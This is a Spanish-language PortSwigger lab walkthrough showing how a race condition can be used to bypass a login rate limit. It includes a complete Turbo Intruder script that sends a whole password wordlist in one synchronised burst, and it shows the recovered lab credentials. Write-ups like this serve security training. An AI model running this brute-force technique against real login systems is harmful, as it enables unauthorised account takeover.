Bypassing rate limits via race conditions
Laboratorio de Portswigger sobre Race Conditions
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio utiliza un mecanismo de inicio de sesión que implementa una limitación de velocidad para defenderse contra ataques de fuerza bruta. Sin embargo, esta protección puede ser eludida debido a una race condition
Para resolver el laboratorio
Identificar cómo
explotarlarace conditionparaeludirlalimitación de velocidadRealizar un ataque de
fuerza brutacon éxito paradescubrirlacontraseñadel usuariocarlosIniciar sesiónen la cuenta decarlosyaccederalpanel de administraciónEliminaral usuariocarlos
Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter. Como diccionario de contraseñas podemos usar https://portswigger.net/web-security/authentication/auth-lab-passwords
Guía de race conditions
Antes de completar este laboratorio es recomendable leerse esta guía de race conditions https://justice-reaper.github.io/posts/Race-Conditions-Guide/
Resolución
Al acceder a la web vemos esto
Si hacemos click sobre My account, vemos un panel de login. Si hacemos demasiados intentos fallidos nos arroja este mensaje
En nuestro caso, nos podemosloguear con las credenciales wiener:peter
Si capturamos la petición que se hace a la hora de iniciar sesión vemos esto
Para mandar esta petición al Turbo Intruder debemos pulsar click derecho > Extension > Turbo Intruder > Send to turbo intruder
Seleccionamos como script el race-single-packet-attack
El siguiente paso es crearnos un archivo que contenga todas las contraseñas del diccionario https://portswigger.net/web-security/authentication/auth-lab-passwords. Posteriormente debemos marcar donde queremos que ejerza la fuerza bruta usando %s
Por último, modificamos el script por defecto para cargar un diccionario e iniciamos el ataque
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def queueRequests(target, wordlists):
# If the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
# If they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
# For more information, check out https://portswigger.net/research/smashing-the-state-machine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Load the wordlist
wordlist_path = "/home/justice-reaper/Desktop/passwords.txt"
with open(wordlist_path, 'r') as file:
passwords = file.readlines()
# Clean the words (remove line breaks)
passwords = [password.strip() for password in passwords]
# The 'gate' argument withholds part of each request until openGate is invoked
# If you see a negative timestamp, the server responded before the request was complete
for password in passwords:
engine.queue(target.req, password, gate='race1')
# Once every 'race1' tagged request has been queued
# Invoke engine.openGate() to send them in sync
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Si filtramos por Length vemos que nos hace un redirect, lo cual significa que la contraseña es válida
Nos logueamos con las credenciales carlos:letmein
Pulsamos sobre Admin panel y eliminamos al usuario carlos











